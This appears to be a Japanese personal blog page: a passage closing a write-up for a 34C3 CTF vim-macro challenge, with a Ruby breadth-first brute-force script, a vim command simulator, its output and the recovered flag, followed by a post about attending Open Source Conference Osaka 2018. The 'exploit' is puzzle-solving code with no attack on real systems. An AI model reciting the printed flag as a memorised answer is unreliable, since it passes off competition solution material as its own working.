108 @g.ABh175.l220.l245.l159.h61.7h45.^h122.h23.2l176.l86.9l146.h5.EGl143.l168.h222.

Exploit

@gにたどり着くようなFLAGを探すにはどうすればいいんだろう? @gから逆順にたどるのもキツそう。
write-upではBFS(幅優先探索)なbrute forceで解いたようなのでそれを真似してみる。
このように、@a(初期値は20hj)とFLAG文字列全体を持つようにすると経路復元の必要がなくなりラク
また、同じ@aを得た場合は枝の探索を断ち切って計算量を削減する。

vimcommand.rbは開催中に自分で書いていたシミュレータ。

require_relative './vimcommand'
 
FLAG_CHARS = "34C_W0KVmQrFpgcZy8eY7bsBSETUvwiM5LPzuNofhn6Ox1G92jdaXlDRtHqJAI".chars # 6行目より(k, @, .といった制御文字は取り除く)
State = Struct.new :a, :flag
 
PROBLEM = File.read("vim.txt").split "\n"
 
visited = {} # それぞれの@aを生成する最短のFLAG
queue = [State.new("20hj", "")]
 
def step_loop state, newchar
  vc = VimCommand.new PROBLEM, '260GY@"'
 
  vc.registers["a"] = state.a
  vc.registers["d"] = 'f' + newchar
  vc.registers["e"] = 'f'
  vc.registers["f"] = 'f'
  vc.lines[260] = %Q(6G@dhj"Eylj"Fyl6Gf2"bylF0"Byl261GY@") # @c, @dへの代入を削除
  vc.lines[261] = %Q(9G@e19l@a"Byt.6Gfj"Byl6Gf2"aylF0"Ayl9G@f19l@b"Ayt.6Gfj"Ayl40|@a) # 261行目から260行目に戻らないようにする
 
  vc.call do |sc|
    # puts "#{sc[0]} #{vc.focus_line} #{vc.focus_char} #{vc.registers['b']}"
  end
 
  State.new vc.registers["a"], state.flag + newchar
end
 
until queue.empty?
  cur = queue.pop
  FLAG_CHARS.each do |ch|
    puts cur.flag + ch
    nxt = step_loop cur, ch
    
    unless visited[nxt.a]
      queue << nxt
      visited[nxt.a] = true
    end
  end
end
require 'strscan'
 
class VimCommand
  attr_reader :lines, :focus_line, :focus_char, :stack, :registers
 
  def initialize lines, init_cmd
    @lines = ['', lines].flatten
    @focus_line = 0
    @focus_char = 0
    @stack = [init_cmd || @lines[0]]
    @registers = {}
  end
 
  def call &block
    while @stack.any?
      execute &block
    end
  end
 
  def execute &block 
    return if @stack.empty?
 
    @sc = StringScanner.new @stack.pop
    until @sc.eos?
      break if step &block
    end
  end
 
  def step
    sc = @sc
    break_loop = false
 
    case
    when sc.scan(/(\^|0)/)
      @focus_char = 0
    when sc.scan(/\$/)
      @focus_char = fli.size - 1
    when sc.scan(/(\d+)h/)
      @focus_char -= sc[1].to_i
    when sc.scan(/(\d+)j/)
      @focus_line += sc[1].to_i
    when sc.scan(/(\d+)k/)
      @focus_line -= sc[1].to_i
    when sc.scan(/(\d+)l/)
      @focus_char += sc[1].to_i
    when sc.scan(/h/)
      @focus_char -= 1
    when sc.scan(/j/)
      @focus_line += 1
    when sc.scan(/k/)
      @focus_line -= 1
    when sc.scan(/l/)
      @focus_char += 1
    when sc.scan(/G/)
      @focus_line = @lines.size - 1
    when sc.scan(/(\d+)G/)
      @focus_line = sc[1].to_i
      @focus_char = 0
    when sc.scan(/(\d+)B/)
      @focus_line -= sc[1].to_i - 1
      @focus_line -= 1 if @focus_char == 0
    when sc.scan(/(\d+)\|/)
      @focus_char = sc[1].to_i - 1
    when sc.scan(/Y@"/)
      @stack.push sc.string[sc.charpos..-1]
      @stack.push fli
      break_loop = true
    when sc.scan(/@(.)/)
      @stack.push sc.string[sc.charpos..-1]
      @stack.push @registers[sc[1]]
      break_loop = true
    when sc.scan(/f(.)/)
      @focus_char = fli.index sc[1], @focus_char
    when sc.scan(/F(.)/)
      @focus_char = fli.rindex sc[1], @focus_char
    when sc.scan(/"([A-Z])yl/)
      @registers[sc[1].downcase] += fch
    when sc.scan(/"([A-Z])y(\d+)l/)
      @registers[sc[1].downcase] += fli[@focus_char..@focus_char + sc[2].to_i]
      @focus_char += sc[2].to_i - 1
    when sc.scan(/"([A-Z])yt(.)/)
      @registers[sc[1].downcase] += fli[@focus_char...fli.index(sc[2], @focus_char)]
    when sc.scan(/"([a-z])yl/)
      @registers[sc[1]] = fch
    else
      raise "Parse Error: #{sc.charpos} #{sc.string[sc.charpos..-1]}"
    end
 
    yield sc if block_given?
 
    break_loop
  end
 
  def fli
    @lines[@focus_line]
  end
 
  def fch
    fli[@focus_char]
  end
end

これを実行すると、数秒でFLAGを探索しエラーを出して止まる(乱暴)。前に見た通り@gを実行すると内容が書き換えられるため。
34C3_MgOSwZm9WFTRKYvCXFXXxpX9cs4 がFLAG。

34C3_MgOSwZm9WFTRKYvCXFXXxpX9ct
34C3_MgOSwZm9WFTRKYvCXFXXxpX9cH
34C3_MgOSwZm9WFTRKYvCXFXXxpX9cq
34C3_MgOSwZm9WFTRKYvCXFXXxpX9cJ
34C3_MgOSwZm9WFTRKYvCXFXXxpX9cA
34C3_MgOSwZm9WFTRKYvCXFXXxpX9cI
34C3_MgOSwZm9WFTRKYvCXFXXxpX9cs3
34C3_MgOSwZm9WFTRKYvCXFXXxpX9cs4
/home/sei0o/ctf/34c3ctf/vim/vimcommand.rb:86:in `step': Parse Error: 0 20@gj (RuntimeError)
        from /home/sei0o/ctf/34c3ctf/vim/vimcommand.rb:25:in `execute'
        from /home/sei0o/ctf/34c3ctf/vim/vimcommand.rb:16:in `call'
        from exploit.rb:21:in `step_loop'
        from exploit.rb:32:in `block in <main>'
        from exploit.rb:30:in `each'
        from exploit.rb:30:in `<main>'

おもしろいけど、誰がこんな問題思いつくんだろうか...少しずつ理解してたら記事にするまで1ヶ月ぐらい経ってしまった(白目
アルゴリズム力も足りないなあ…

OSC大阪に参加した

Open Source Conference Osaka 2018 に参加しました。小学生のときに1回セミナーに参加したようなしなかったような記憶があります。
企業ブースではSHOT NOTEもらったりシールもらったり醤油もらったり(!?)。

Linuxベースのシングルボード色々」というセミナーではRaspberry Pi以外のBeagleboneなどの紹介がありました。
Banana Pi Router-2 が面白そう。ルーターにもサーバにもなる…!
pool.ntp.orgにRPiで立てたNTPサーバが参加して、秒間3000パケットを投げられて回線がパンクした話も聞けました。stratum 1 でも案外楽に作れるらしいので作ってみたいけど寮の回線がダウンしそう(((

名前だけは聞いたことがあったEjectコマンドユーザ会やmikutterのブースにはいろいろなものが置いてあってわくわくしました。
openSUSEユーザ会のブースで布教を受けました。ブートCDももらっちゃった。
関西Lispユーザ会というのが昨年の夏にできて、2/3に勉強会を開催する予定だったそうなのですが参加は無理そう…残念。
ユーザ会ってなんだか敷居の高いイメージがあったけど、むしろそういうコミュニティに加わって学ぶことができれば楽しそうだと思いました。

セミナーのいくつかは若干期待はずれなものもありましたが、そのあたりは個人の好みなので仕方ないか。
充実した1日でした。